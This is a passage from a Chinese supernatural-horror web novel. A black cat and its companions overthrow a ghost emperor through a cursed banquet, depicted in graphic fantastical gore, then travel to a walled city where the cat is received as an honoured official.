锦瑟擦干净上面的血,打开了盒子,闪耀的金光瞬间照亮几个人的眼睛。 满盒都是金银珠宝,在宝贝的上方,格格不入地摆放几个廉价的现代工艺品。小咪扑过去,把自己的宝贝咬了出来。它还没有满足,两只前爪在百宝箱里扒拉,丢出一串珍珠项链,又扒出几颗名贵宝石。 几个人都忍不住蹲下来,想看看小猫究竟看上了哪个宝贝。 最后,小咪把百宝箱刨空了,把里面的珍贵珠宝全扒拉出来,一屁股坐在了盒子里,窝在了里面,朝着人叫:“喵。” 猫要这个盒子! 夏炫忍不住笑了,“哟,咱们小猫还会买椟还珠啦。” 小咪:“喵呜——” 猫最喜欢盒子了。 除掉太官,他们得以成功进入酒窖中,锦瑟守在外边。没有花多久,萧向秦和夏炫就把太岁肉放进了酒瓮中。 百年醉散发着醇香,添了点料后,似乎变得比之前更香了。 怕再待下去就会忍不住喝一口,夏炫连忙走出酒窖,深吸口外面清凉的晚风。现在他们该做的都已经做了,只要静等着晚宴来临就好。 锦瑟却问:“你们准备好了画吗?” “喵!”小咪把下巴搁在木匣边缘,对她叫了声。猫画了很多朵梅花。 锦瑟:“千色同春宴上,陛下会先检查画师的画,若是画画好了,得了陛下的赏识,才有资格赴宴。” 夏炫想起那副永远都不可能完成的画,心悬了起来,问:“若画没画好,不合格呢?” 锦瑟看了他一眼,“陛下有个丹炉……” 夏炫脸色一白,不由忧心。他和萧向秦说了这事,男人怀抱着木匣,匣里装着小猫,头也没抬,似乎没把此事放在心上。 但夏炫依旧悬着颗心,一直到第二日长寿宫中。 他们向两位宫女汇报,已经把太岁肉添进了御酒里。 两个宫女嘻嘻地笑了起来,笑声幽怨,笑着笑着,血红的泪水从双目滴落,滴在地上。 “喵呜。”小咪软软叫一声,圆圆的眼睛里写满了担忧。 夏炫壮着胆子开口,“那我们的画……” 宫女冷冷瞪着他,嘻嘻笑:“你们帮了娘娘,娘娘自然有厚赏,且把画打开。” 小猫丹青在桌上铺开。 屏风中的人影慢慢站了起来,两位宫女低下了头,作出搀扶的姿态。 “娘娘不是太岁妖。” “人人却都说娘娘是太岁妖。” “喝了她的血,吃了她的肉,把她的皮剥下来作成龙袍,让娘娘不肯安息,却说是妖妃祸国!” “娘娘回来了,变成了太岁妖。他们却开始害怕了。把她关在宫殿里,想要把她封印进人皮纸上。嘻嘻。” 在两个宫女幽怨的泣声中,屏风后的娘娘慢慢走了出来。她挽着高髻,发若乌云,如雪的肌肤在昏暗的宫殿内晕出白玉般的光泽,华服曳地,步步生香。 但夏炫只看了她一眼,就触目惊心,不敢再看。 娘娘的脸上的肉被切了无数刀,面目全非,不见昔日倾国之色。他们也无从得见,这位娘娘以前有多么美貌。 夏炫本来以为她脸上是被皇帝弄出来的伤痕,但突然想到了昨天晚上的太岁肉,恍然明白:是娘娘用篾子,一下又一下把脸上的肉梳下来的。他们昨夜倒入酒中的碎肉,就是娘娘的面皮。 人人都畏惧娘娘凄厉的容颜,只有小咪歪头看着她,又看看地面。 娘娘的衣袍很长,拖在地上,窸窸窣窣地响。 小咪瞪大了眼睛,往前一跳,一把扑在了娘娘的衣摆上,爪子勾住她华贵的云锦。 “喵呜——”抓到了! 娘娘走到了画卷上,双臂张开,如飞鸟投林,跃入画卷之中。 画卷上缓缓出现了一个美人,她对镜梳妆,背影寂寥。 夏炫垂头看着画卷,“原来这就是无头美人图,不对,现在还有头啊。” 萧向秦问:“咪咪呢?” 两个人在宫殿内没找到小咪,宫女在房梁上也没找到小咪。最后,四张脸一齐看着画卷,在画卷昏暗的一角,看见了尾巴顶着毛球,系蝴蝶结的漆黑小猫。 小猫歪着头,像是对着娘娘在叫。 于是一眨眼的功夫,画上的美人变成了无头美人,小猫跳了起来,追着一只球在玩。 夏炫张了张嘴,震惊地发不出声音。 啊不是?咪咪,你怎么能把娘娘的脑袋当球踢啊? 娘娘?您真把自己脑袋摘下来给小猫当球玩啊? 第69章 第六日。 王邵远整理好衣冠,跟着皇帝的轿子,回到了行宫中。 拥有美人图多年,他早就对这个鬼域了如指掌。在千色同春宴之前,明王会检验美人图,当然,没有一张图会真正令他满意,因为明王想要的,并不是画出娘娘绝色容颜的高超技艺,而是能将化作妖邪的娘娘封印的本领。 不过只要能画满六日,明王就会饶画师一命。 可他知道,愚公小队的两个人第一日就踩中魔法师的陷阱,绝对不可能画满六日。 他们深陷死局,已经没有可能再翻身了。 要是借这个鬼域能除掉愚公小队队长,自己不仅在现实中摆脱追捕, 还能以此进入深渊,得到深渊的庇护。 王邵远在鬼域扮演的是一位官员。 他跟着人群中,看着龙辇渐近,那群画师早已铺好自己的美人图,任由明王审视。 他也看见了萧向秦与夏炫。 三十六名太监抬着个面孔青紫的人,明王盘坐在莲花宝座上,身上披着的万鹤袍,头上戴着莲花冠。 万鹤袍莹白如雪, 风掀起袍角, 里面依稀透出猩红。 王邵远知道, 明王身上这件万鹤袍,是剥了娘娘的皮绣出来的。 这位娘娘美若天仙,性情宽仁善良, 人人都爱她,与明王感情深笃。可不知哪一天,一群邪术士来到宫里,向明王献长生之法,引诱明王沉湎于丹术。 自此明王性情大变,对宫女们愈发暴戾,要求她们采摘晨露,供处子之血炼丹。为了血的纯洁,还不许她们在月事时吃东西,宫中饿死不少女孩。 娘娘为维护这些小宫女们,和明王生了龃龉,又因为想把方士们驱逐,被他们记恨。于是方士们向明王送上一位长生药,药引便是太岁肉。 宫中开始流传谣言:娘娘一定是妖孽所化。 若不是妖孽,怎么会长得如此美貌,怎么会人人都喜欢她。 在娘娘的护卫告密后,明王终于相信,自己的爱妃,是一个太岁妖。于是他下令剥下了她的皮,将她的肉丢入丹炉炼丹,果然炼丹一炉长生药。 只是被炼作丹药的娘娘,居然化作妖邪,居然重新回到了宫内。 而吃下长生药的众人,也变成了非人的怪物。 …… 王邵远看着明王盘坐在轿上,审视着画师们的美人图。 它面沉似水,没有一副美人图让它满意。 “哼。”它怒喝一声后,一个画师就侍卫抬起巨斧,劈下脑袋,飙出鲜血如喷泉,脑袋骨碌骨碌在地上滚动,嘴巴里还在喊:“陛下饶命——” 明王来到了萧向秦的画前。 王邵远激动地抻直脖子,等待青年的脑袋像球一样滚落,或者被丢到旁边的丹炉里。 但明王只看了一眼,身体却僵住了。它伸出长臂,激动地说:“呈上来,呈上来。” 美人图被太监捧到陛下的面前。 王邵远忍不住瞥了眼,他只能看见图上隐约的人形,以及很多血红的梅花印。 明王双手颤抖:“就是这幅画!终于有人能画出爱妃的风姿了。” 它当然不是想画师能画出娘娘的美貌,而是想有人能将娘娘封印在纸上。 王邵远心中一惊:难道他们已经把娘娘封印起来了? 不可能。 变成邪祟以后的娘娘极为可怕,相当于鬼域之主,连明王和一干方士都奈何不了她,只能把她困在长寿宫里。 他们两个外来客,怎么可能封印了娘娘? 但事实摆在眼前,由不得他不信。明王已经张口说话:“吾国之宝物,尔等可以任选一样。” 王邵远冷汗涔涔,生怕他们会选自己。他垂下头,用长袖遮住脸,感觉几道视线在自己的身上来回。 “我们不要高官厚禄,”萧向秦谢绝了明王的拉拢,“也不要金银珠宝,只想要陛下身上这件万鹤袍。” 王邵远松了一口气,又不由心中冷笑:万鹤袍是娘娘的人皮,他们张口要,明王肯定不会舍得给,就算眼下迫于自己的承诺给了,也不会放他们离开。 果然。明王的脸色变得极为难看,散发出的威压令在场人瑟瑟发抖。 “你要我身上的鹤袍?” 萧向秦点头。 明王咬着牙,笑容狰狞,“我许你们相国之位,如何?” 夏炫“啧”了声,心里想,放在现代社会,他们每个人都是网络皇帝,九五之尊,怎么可能稀罕这个狗屁相国的官职? 两个人坚持自己的口风,依旧只要明王身上的万鹤袍。明王只能把万鹤袍脱下,送给他们,那双浑浊而阴鸷的眼睛在两人脸上扫过,半晌,他冷冷一笑,“请画师赴宴吧。” 千色同春宴开始。 宫女们鱼贯而入,为座上贵客倒满美酒。 百年醉的香气飘荡,众人举觞共饮,每个人都脸上都挂着盈盈笑意,喜气洋洋,仿佛这是什么值得庆祝的节日。 舞女上台献舞,水袖扬起,如蛇灵活的腰段扭来扭曲。 王邵远坐在席上,心中焦躁不安。眼见这两个人已经过了美人图这关,他本来想转身就逃,可是他们提出不自量力的要求,却让他重新燃起了希望。 他知道,明王已经对二人动了杀心,必定不会放他们安全离开。 就算萧向秦是愚公小队的队长,在明王的鬼域里,也讨不了好处,自己依旧有赢的机会。 可他还是觉得不对劲。 是哪儿不对劲呢? 他的目光细细扫过每一个在席上饮酒、形态百异的官员,仔细打量着长袖舞娉婷的舞女,再用余光看着座上的明王,和那两个坐在席上安心吃水果的人。 是哪儿不对劲呢? 他们为什么这样从容呢? 王邵远又扫过宴席上的众人,突然,他目光一凝,落在了宫女身上。 平时,他并不会多看这些宫女一眼。她们是宫中最底层的人,比他公司里的牛马都不如,被杀了炼丹、丢进灶中烧柴、被耗子咬死、太官虐待,都是她们原定的命运。 谁让她们生来就卑贱,命中注定是被踩践的野草呢? 也因此,在王邵远每次赴宴的记忆里,这群宫女们面色灰暗,低眉顺眼,战战兢兢,就像不起眼的背景板。但今天,他在她们的脸上看见了表情。 她们偷偷聚在一起,眼皮抬起,不规矩地到处张望,脸上带着窃喜的神色,还有个宫女,居然敢站在阳光处。 不,她不是宫女! 王邵远目光一凝,看着她腰间的官印,心头骇然。宫女变成了太官!那原来的太官呢? 他猛然看向金樽中的酒液,平素清亮的酒液里,沉着几点碎肉沫,一股奇异的香气从杯中飘出,引诱着他喝下美酒。 不好! 他猛地将金樽推倒在地,“陛……” 话还未说出口,王邵远的耳畔响起了咀嚼的声音,好像是有人正在大口吃肉。宫廷酒宴,文武百官动作斯文,怎么会有这样的声音。 他偏头看去,在身边坐着的官员一张口,撕咬下手臂上的一块肉。 “好饿啊。”鲜血从男人脸上淌下,胡须被血浸透,他已经把自己一条手臂啃得只剩白骨,还是反复念着,好饿啊。 “好饿啊。好饿啊。” 酒宴上响起了令人胆寒的声音。 混着太岁肉的酒液流入肚肠中,变作一头不知餍足的兽,啃咬着五脏六腑。百官们肚肠齐鸣,咕噜作响,“好饿啊。” “饿得要受不了了!” “我要吃肉、要吃太岁肉!” 他们双眼冒着绿光,抬头,见满座同僚都不见,变成一块块晶莹剔透的太岁肉。 王邵远心沉了下来,看向了座上的明王。 明王张开嘴,嘴巴越张越大、越张越大,整张面孔布满尖锐的牙齿,只剩这张巨嘴。 “咕噜。” 它的肚子响亮地叫了一声,脖子往下伸,一口就将身边的侍官吞入肚中。 “饿啊——” “啊啊啊!” 王邵远吓得瘫软在地。 眼前不再是欢乐融融的宴会,早变成了血肉横飞的景象。喝了酒的人互相撕咬着,用血肉来解肚中的饥饿,那些抢不过别人的,就撕咬自己身上的肉,直到把自己啃得全是骨头。 一颗头当空飞来,掉在他的膝盖上。 他双膝一软,跌坐在地,身下流过潺潺热流。那个人头凄惨地看着他,还在呻吟着:“我好饿啊。饿得受不了了,快喂我吃块肉吧,你帮我把我的眼珠子挖下来,喂给我吃吧。” 王邵远被吓得不敢动弹。 人头哀嚎几声,喉咙里发出“咕”地怪响,突然歇声了。他咬断自己的舌头,吞了下去。 血色在宴席上弥漫。 人皆相食,玉阶上堆满白骨。明王坐在白骨堆上,大肚如斗,肚子还在咕噜在叫。 它把座下的臣子吃得干干净净了,肠子里猛烈而不知满足的饥饿依旧浩浩荡荡地铺了过来,烧得它五脏六腑都在疼。它哀嚎着,抬起自己一条手臂,撕咬一口肉,餍足地叹了口气。 那张美人图慢慢展开,玉阶上的鲜血流入图中。 无头的娘娘怀里抱着一只小黑猫,从画卷之中徐徐走出,来到君王的面前。 “七月七日长生殿,夜半无人私语时。在天愿做比翼鸟,在地愿为连理枝。” 幽怨的声音如泣如诉,从腥甜的风中飘来。 明王抬起头,也许是想起过去情浓时的誓言,它的神情清醒了一瞬,“爱妃……” 娘娘立在他的面前,长身玉立,如仙人临风,衣袍飘飞。 明王伸出手,想要抓住神仙妃子的衣角。 “啪!” 他的手背上被猫抓出三道血痕。 “喵呜。”小咪屁股扭动两下,猛地一扑,跳到明王的头上,后爪在他脸上蹬几下,成功让他破了相。 带着太岁肉香气的血从伤口流下,它双目猩红,惨叫着饿,一下拽掉自己的耳朵,一下划破自己的肚皮,疯狂把身上的血肉塞进嘴中,直到把自己吃干净,只剩一个伶仃的脑袋在地上滚动。 娘娘抬手一掷,把它丢进的丹炉之中。 没多久,一堆废渣从炉中掉了出来,它没有炼成丹,变成了一锅炉渣子。 自从,这个鬼域彻底易主,主人从明王变成娘娘。 锦瑟带着宫女们跪在娘娘的面前,哭诉道:“娘娘因我们而获罪被害,我们却只能看着娘娘出事,什么也做不了。求娘娘责罚。” 小咪跳下来,歪歪头,“喵呜?” 它站在锦瑟面前,对着娘娘叫,“喵——” 看在猫的面子上,娘娘不要欺负别人。 娘娘俯下身体,双手环住女孩削瘦的肩膀,似把她抱在怀中。她没有开口,人们却听见了她的声音,空灵温柔,余音绕梁。 “傻孩子,我怎么会怪你们呢?我们都是苦命人。” ———— 王邵远偷偷摸摸地在地上爬动。他想要爬回出口,离开这里,但视线之中出现了一只黑猫。 眼睛圆溜溜的小黑猫蹲在地上,歪头看着他,“喵呜?” “死猫,快滚开!”他低声骂,挥舞着手臂驱赶小猫。 黑猫突然扯起嗓子大声叫了起来,“喵呜喵呜。” 人,快过来护驾!他骂猫! 猫大声告状。 王邵远心中一冷,一回头,两个人已经站在自己的身后。他脖子上一凉,一把剑横在了自己的脖颈。 孙菱朝着那两人笑:“不好意思哦,我的任务是他的人头,先到先得。” 夏炫拱手求道:“菱姐行行好,这家伙很坏,暗地里在策划什么阴谋,你等我们盘问他一下,再来拿他的狗头,成不?” 孙菱犹豫了一会,“可是我的雇主……” “你要多少钱?”萧向秦简单直接发问。 孙菱脸一热,有点不大好意思了。王邵远突然往怀里一摸,拿出一个盒子。 “幸好幸好,”他嘴唇微颤,“他还给我留了一条后路。” “快走开!”萧向秦喝道。 孙菱收起影子,以为王邵远有什么绝杀,连忙跳到一旁,小咪也瞬间蹿到树上,从树枝探出个猫猫脑袋,好奇地看着他。 王邵远打开盒子,大喊:“你们都去死吧!” 一个小丑鬼脸伴随他的怒吼弹了出来,五颜六色的羽毛头发,又圆又鲜红的大鼻头,往上咧开、大张着的嘴角。 滑稽。 又极其嘲讽。 王邵远气得眼前阵阵发黑,几乎要吐出一口血,“他骗我?他……” 孙菱也忍不住勾起嘴角,扶住额头,“还以为是什么厉害的东西呢?你的后路就这?逗我们笑一下?” 王邵远的头扭了过来,看着她,嘴角夸张地往上咧。 孙菱皱起了眉头。 王邵远的脖子往上面延长、延长,像个弹簧一样,变得摇摇晃晃,他的嘴巴被无形的力量撕扯,皮肉撕裂,嘴角裂到了耳根,鲜血染红牙齿,露出个血腥而浮夸的笑容。 他看着众人,眼睛满是惊恐,转瞬间,他的身体就被小丑拉扯入盒子里,关节发出咔嚓咔嚓的声音,一个人被活生生地挤进巴掌大的小盒里,碎肉和骨头不停往外面冒。 “我的三百万!!!”孙菱快步冲过去,心都在滴血。 啊啊啊! ! ! 她的钱啊! ! 小咪跳到了地上,歪头打量着被血染红的小丑盒子。把王邵远拉入盒中后,小丑盒子自动关上了,缝隙处往外不停渗血。 “看来我们猜错了。”萧向秦把小丑盒子捡起,“深渊的后路是,如果鬼域除不掉我们,就杀了王邵远灭口。” 可惜他们犹豫一下,没能及时阻止他打开小丑盒。 “喵呜。”小咪蹭蹭崩溃的女孩。 人,不要难过,猫抓耗子养你。 孙菱狠狠抱起小猫,狂吸一口,稍微抚慰自己受伤的心。 “丧彪啊丧彪,我这辈子只能当个穷鬼了吗?”她悲伤地问小咪。 “喵呜?”猫不懂这些,小咪想了想,叼起自己心爱的塑料小鸟,放在孙菱的面前。 猫把宝贝给你,人,不要难过。 门在隐藏区域,娘娘带着他们,来到了鬼域的出口处。 那两位长寿宫的可怕宫女也走了出来。当阳光洒落在她们身上时,她们也变成了面目清秀,表情端庄的女子,朝着几人轻一点头。 小咪打了个滚,滚到她们的鞋背上,抬头打量她们,“喵?” 她们弯下身体,抱起小猫,将脸贴在它柔软的肚皮上,“谢谢你,咪咪。” “喵!” 不客气的喵。 小咪咬着鹤袍,送到娘娘的面前,歪头蹭蹭她的脚。 “咪咪,我不需要这个了。”娘娘玉白的手指轻抚猫猫的头,“你们拿着吧,我想要册封咪咪作狸大人,咪咪愿意吗?” “喵!” 猫愿意! 孙菱揉揉脸,牛皮包里收集了几块王邵远的碎片,心酸地打算回去交差。萧向秦突然喊住了她,“你想再接一个委托吗?有钱拿。” “什么?”她听见钱,不自觉停下脚步。 萧向秦看着她,又望向夏炫,“跟着陈商音,去一趟寐城。” 夏炫瞪大眼睛,“寐、寐城?但是,队长,我已经问过了……” 在得知陈商音是从寐城来的时,他就悄悄去问过这一行寐城来客。 “薛静秋?”他们听见青年说出的名字,纷纷摇头,“我们在寐城二十多年,从来没有听说过这个人。” 薛静秋在暗世界失踪数年,生存的希望渺茫,谁也不知她去了哪里,遗失在哪个时空。夏炫本以为,只有自己还惦念着薛静秋的下落。他与萧向秦四目相对,身上顿时热血沸腾,“队长,是为了静秋吗?她就在寐城吗?” “喵!”听见薛静秋的名字,小咪耳朵抖了抖,从娘娘怀里探出脑袋。 萧向秦点头,至此,他终于说出带夏炫来的目的,“去寐城,找到她,带她回家。” 第70章 如今正是血月降临的年代。 人间到处都是鬼域, 大一统的王朝早已经不复存在,只剩下许多城池小国如诸侯林立。 寐城城主便是其中一位诸侯。 夏炫本来以为,自己终于能实现穿越的梦想, 在一千多年的大地上畅游。但其实并没有,在陈商音眼中正常的世界,在他的眼里, 只有片灰茫茫的浓雾。他能接触到的,只有陈商音的这一辆马车。 小咪的感觉也和夏炫一样,百无聊赖地趴在车上,无聊地玩自己尾巴上的蝴蝶结。它的耳朵抖了抖,歪头看向远方,在浓雾之中,隐约能看见个冒着红光的房屋。 “喵?” 陈商音却连忙让人将车头一转,远远地绕开那房屋。 “那是一个有名的闹鬼地方, 叫黄泉镇。”陈商音摇头,恭恭敬敬对小咪解释, “我们赶路, 都要绕开这些凶地。” “喵。” 猫知道了。 陈商音同小咪介绍各地风土人情,但猫什么都看不见,只能顺着他所指,看见一片迷雾,气得猫张开嘴,咬了他一口。 被小猫咬出浅浅两个牙印, 陈商音反而笑得很开心, 拿出自己的兔毫笔,柔软的笔尖在小猫的脸上拂过,逗它玩乐。 夏炫心里暗暗摇头:没救了, 又是一个被他咪姐俘获的直立猿。 一千前的古人和一千年后的现代人,在吸猫这点上,保持了出奇的一致。 “溪柴火软蛮毡暖,我与狸奴不出门。”陈商音摇头晃脑,念着古诗,拿着笔在画卷挥洒,一只狸儿扑球的画便活灵活现地自他笔下展开。 “喵呜?”小咪歪头看了一会他画画,伸出前爪,在墨上按一下,再在宣纸留下自己的梅花印。 陈商音瞪大眼睛,惊喜道:“真是点睛之笔!点睛之笔啊!” 夏炫:……哪点睛了?这不是点个爪吧? 在陈商音第三幅画画好时,他笔尖一抖,放在毛笔,看向前方,语气不掩兴奋:“到了!” 小咪“喵呜”一声,把自己爪爪在纸上按一下,留下爪印。它跳到桌子上,脑袋探出车帘,迷蒙的雾气中,隐隐出现一座高大的城池。 城墙极其高耸光滑,高逾百丈,仿佛顺滑的孤崖伫立在雾海之中。 小咪耳朵抖了抖,听见了雾气里传来脚步声,它扭头脸,看着一个消瘦的人影渐渐靠近。 “喵?”猫有礼貌地朝他叫了一声,它觉得有点不对,但说不上来哪儿不对劲。 那人一点点从雾气中走出,灰白的浓雾翻滚,他的动作迟缓,步伐不协调,像是不会走路的稚儿。迷雾渐淡,露出淡青色的肌肤,和一双无神的,眼白多过眼黑的眼睛。 他看见小咪后,步伐猛地加快,喉咙里发出奇怪的嘶吼。 陈商音听见声音,面色大变,嘱咐随从:“快快快!一鼓作气地冲过去!” 小咪瞪圆猫儿眼,不理解自己看见的景象。雾气像沸水翻滚,从雾里冒出许多个这样的扭曲的人影。它们嘶吼着,直直伸出双臂,追逐马车。 夏炫连忙把小猫抱在怀中,怕它被马车颠下去了,他往外看一眼,吓得面色发白,“嚯,这是古代版丧尸围城吗?” 小咪把能力覆盖在车上,车四轮转得飞快,让马儿不用被缰绳勒疼。它挣扎着从夏炫的身上跳下来,前爪搭在车窗,探出脑袋往外看。 涌动的雾气里跑出无数个这样的怪物,他们拥有着人的模样,动作迟缓,肌肤发青,双瞳无神,像丧尸片里的行尸走肉,扑向了马车。 因为数量太多,马车很快就被这群行尸走肉围住。 骏马嘶鸣,陈商音双目发直,面孔惨白。 孙菱早就跳到了车外,白虹贯日化作一抹虹光,在行尸走肉间横扫,为他们挡住一时半会。 “这是什么鬼东西?”夏炫焦急问。 “是、是失魂人!他们喜欢吃人肉,快走!” 被困不久,忽听地面如鼓雷动,小咪的毛被震得微微发抖,耳朵敏感抖动。不远处尘土飞扬,一队寒光凛冽的骑兵从天而降,威风凛凛,为首的女人一身劲装,骑在马上,弯弓射向一只丧尸。 马车借此机会,终于从尸群中逃了出来,进入那堵极为笔挺高峻的城墙。 这堵墙之后,还有另外一座矮一些的城墙。这堵墙和众人认知中的古代城墙差不多,砖石结构,门口有守卫守卫。 陈商音跳下马车,同守卫打招呼。 守卫也认识他,客气寒暄几句,目光落在马车上,问:“他们是谁?” 时值乱世,守卫们对城外来客态度很警惕,就算有陈商音介绍,也不放下戒心。 陈商音笑着说:“这是浒国的狸大人,和它的两位侍从。” 守卫掀开车帘,小黑猫端正地坐在软毡上,脸很圆,姿态威严。它的头上带着顶小巧的官帽,身上穿着宽大的绸袍,至于平素被官员们系在腰间的玉带,改成一条美玉雕成的小鱼吊饰,被它戴在了脖子上。 在小黑猫的两侧,坐着两位仆从。 守卫只扫了人类仆从一眼,就没什么兴趣地挪开了视线,继续看着小黑猫。 “狸大人?” “喵。”小咪回。 夏炫很有眼色,拿出了娘娘送给小咪的官印和文牒。 小咪的官职叫御前带爪护卫长·粮仓总督查·丹青监爪御史·九命柱国大将军。 猫不懂这么一大串的头衔,但它知道,总之,它现在是个很大很大的官了! 人类喊它狸大人,猫大人就好了。 狸大人的头高高扬起。 “原是狸大人,小的失礼了!” 护卫双手抱拳,低了头,对它恭恭敬敬地行了个礼,“不过浒国与寐城并无什么来往,狸大人入了寐城后,请先去同风署报备,近日城中多不安宁,请狸大人小心。” “喵。” 陈商音问:“是什么啦?怎么外面多出那么多失魂人?” 守卫苦笑,“还不是……”他凑到陈商音耳畔,两人窃窃低语一番。 过了会,陈商音扭头,带着小咪进入城中。 同风曙是寐城负责接待来客的机构。 “是御前带爪护卫长·粮仓总督查·丹青监爪御史·九命柱国大将军吗?”记录的女官一口气念完,喝了口茶润了润嗓子,含笑看着身兼数职的小猫。 小咪:“喵。” 身上的衣袍裹着小黑猫,它从领子里露出圆圆的猫头,头上戴着双耳幞头的官帽,让它乍看上去有四个耳朵。猫的爪子从宽大的袖子里伸出,踩在了身下的软毡上,从后领探出的尾巴上,还系着一个狮子般的毛茸茸圆球。 是只打扮庄严得体的狸大人了。 “狸大人想在寐城住几日呢?” 小咪歪头,头顶的帽子也跟着歪倒,它连忙把头又正了回去。夏炫伸出手,小心给它理了理歪斜的官帽。 “喵喵喵——” 狸大人说:喵想找一个人。 人类仆从如是帮它翻译。 “哦,是谁?” “薛静秋喵。” “年纪多大?” “和狸大人的人类仆从差不多喵。” “既然是浒国重臣的要求,我们自然会尽力帮狸大人寻找。只是寐城人多,或许一时不能找到,城中为远行而来的贵客备好了住所,狸大人愿意住在这里吗?” “喵喵喵。” 狸大人抬起头,看向了旁边的画师。 喵想和他一起住。 早在马车上时,陈商音就邀请了他们,让他们住在自家的画坊中。他家有许多副画,可以让猫一展拳脚的。 陈商音连忙道:“狸大人愿意屈尊来小人家作客,草庐实在是蓬荜生辉。” 小咪:“喵。” 猫喜欢草庐喵。 女官微笑:“好,一切都由狸大人的意愿,本署并不会强求。若我们有了大人要找之人的消息,会遣人去画坊传信。” “喵呜。” 穿着这身繁复沉重的官袍,小咪想走几步路都不容易,难怪那些大人都要坐轿子,猫暗暗想。它扭动身体,像水一样从官袍里扭了出来,跑到了女官面前。 女官微微睁大眼睛,毛笔悬在空中,“这是……” 小咪当着她的面挠挠桌子,“喵。” 狸大人不爱穿衣服的喵。 它伸出小脑袋,轻轻蹭了下女官柔软的面颊,这位严肃的女孩脸颊顿时漫上红晕,磕磕巴巴地说:“大、大人,你这是……” 狸大人标记一下人类! 看着女官被小咪亲得迷迷糊糊,夏炫趁机问:“大人,在外面的那些行尸走肉是怎么出现的?” 女官还没缓过神,愣愣说:“是被不夜城摄去了魂魄的失魂人。” “不夜城?” 女官意识到什么,挂上客气而疏离的微笑,“贵客听错了。” “那住在这里,有什么要遵守的规则吗?” “我们寐城是人间城池,并非鬼域,没有什么规则。” 孙菱心中一惊:这人还知道鬼域和规则? 小咪脱了一身讨厌的衣袍,早就按捺不住,先摇摇头,把脑袋上的官帽甩出去,再从桌子跳了下去,蹦蹦跳跳跑到外边。这一路都要戴帽子穿衣服,端庄地坐在毛毡上,憋坏了喜欢光秃秃奔跑的小猫咪。 “咪咪!大人!” 身后的人在叫它。 小咪往上一跳,翻过门槛,跳到同风曙旁的石狮子头顶,认真打量这座繁华的城池。 阳光明媚,城中车水马龙,人来人往,吆喝声、叫卖声、玩耍声,声声飘入猫的耳朵里。 是猫很久没闻过的浓烈的活人味。 “狸大人,”陈商音跑出来,“我的家在那头,我带你去吧?” “喵呜。”小咪跳到了他的肩膀。 陈商音摘下自己头顶的飘飘帽,“狸大人屈尊先睡在这里吧。” 小咪乖巧地坐在了帽子里,脑袋搭着自己的爪爪,被人带着招摇过市,漆黑的长毛在阳光下折射金光。 陈商音抱着小猫,看见熟悉路人,便要大声打招呼,刻意露出怀里小猫。 “咦,这不是陈画师吗?你远游回来啦。” “是啊是啊。” “这帽中小猫好生可爱,是你养的小猫吗?” “这是浒国的狸大人,朝之重臣,深受女帝的喜爱。” “狸大人抓耗子也很厉害喽。” “自然。” “那能请狸大人去我家住吗?我家中有只耗子机警,总抓不到它。” 陈商音面色微变,把宽大的袖子往帽上一盖,不许别人再看狸大人了。 而小咪坐在帽子里,阳光透过粗布洒在它身上,在摇摇晃晃的轿里,它闭上眼睛,做了一个梦。 梦境中,三花大美喵很严肃地看着它。 “喵。” 三花大美喵的眼神有些幽怨,问它:你是死在外面了吗?怎么还不回家? 70-80 第71章 在猫的世界里,出门意味着狩猎,而狩猎是一件很危险的事情。如果一只猫出门太久没有回家,多半是死在外面了。 小咪蹦蹦跳跳地跑过去, 转过身体,向她晃了晃尾巴上的毛球,和脖子上的小鱼白玉吊饰。 “喵呜——” 咪没有死, 咪当了大官,很大很大的官! 三花大美喵围着它转了一圈,又嗅了嗅小咪的屁股,轻嗅中空气里熟悉的信息素。 “喵呜。”三花大美喵趴坐下来,姿态慵懒,对小咪当很大的官一点兴趣都没有。 小咪想,它的名字就叫娘娘,三花喵也是个大官。 它陪着娘娘坐下来,对她说:当官不好,一点都不好。 当官要穿着繁琐的衣服,头戴沉重帽子,抬爪容易踩到衣服摔倒,到处都是束缚,也不能自由自在地裸奔了。 不过,人会喊咪大人。咪是只小猫, 居然变成了大人。 “喵呜——” 小咪打了个通红的哈欠,舌头舔几下胸口的毛,问三花大美喵:你怎么会来这里呢? 娘娘跑到墙角猫抓板上, 挠了挠爪子。 小咪突然觉得奇怪了,眼前的房间与赵佳怡租房一模一样。是它回到了家? 咪? 一个穿着白衣的少年坐在了沙发上。他有一头微微卷曲的银发,白得耀眼,五官精致如画,银白色如扇的睫毛下,瞳孔却是一条横向的线,显出几分邪异。 他朝小猫笑着,“是小三花在托梦,梦见了你。” “喵呜?”小咪看着三花大美喵窝在了猫窝上,后腿弹动一下,梦境中的房间就开始分崩离析,最后,小咪站在了森林旁的河谷上,歪头打量着少年。 “我是羊。”少年朝它微笑。 未羊喵? 小咪坐在了他的膝盖上,嗅了嗅他的手指,低头拱了两下。 未羊遵循小猫的旨意,手指挠着它的下巴,小猫的脑袋搁在他的掌间。他低头嗅了嗅小猫的气味,“你身上有姐姐的味道。” 小咪:“喵呜。” 是巳蛇吗? 未羊微微一笑,捏起它的爪爪,还没说话,小咪的耳朵畔响起了吵闹声。 它睁开眼睛,从陈商音的袖子下探出头。 人群围在一起,一个少女蹲在地上,单手拎住一只黄狸猫后颈,骂道:“你好意思还回来?家中耗子你不管也就算了,我问你,方才那只耗子当着你的面咬走一条鱼,你为何不去咬它?” “喵呜。” 被她抓着的是只黄猫,一身焦不焦黄不黄的毛,毛油光水滑的,长得很肥。它可怜兮兮地叫一声,尾巴甩两下。 卖鱼女哼:“真是白养你这么大了。啊……”她一回头,惊呼一声,指着鱼铺,把黄猫丢过去,“又有耗子来偷鱼,快把它咬死!” 黄猫夹起尾巴喵一声,反而扑到了她的怀里,双手扒拉住她的手臂。 小咪嫌弃地抖了抖胡须,跳到了地面,钻入人群,看着光天化日吃鱼的耗子。 那是头婴儿手臂长的大耗子,漆黑的肉尾巴又粗又长,像钢筋在鱼群里扫来扫去。两点黄豆般的眼珠子冒出精光,爪子探在水桶前,仿佛在挑选拖走哪一尾鱼。 卖鱼女一手抱着自己没出息的肥猫,一手抄起竹条,朝耗子打去,耗子不怕她,反而冲过来,跳起来张嘴一咬,在她的竹条上咬了个窟窿。 “好厉害的耗子。” “这黑耗子,成了精吧。” “我听说街尾孙小娘家的孩子,晚上被耗子咬掉了半个脚掌。” “我还听说有个人起夜时,宝贝被耗子咬掉了呢。” “什么宝贝?” …… 人们交头接耳,窃窃私语,却没有敢靠近那只几乎成精的大灰耗子。 耗子咬出条鱼,大摇大摆,正欲离开,却听见听见“呜呜”的声音。 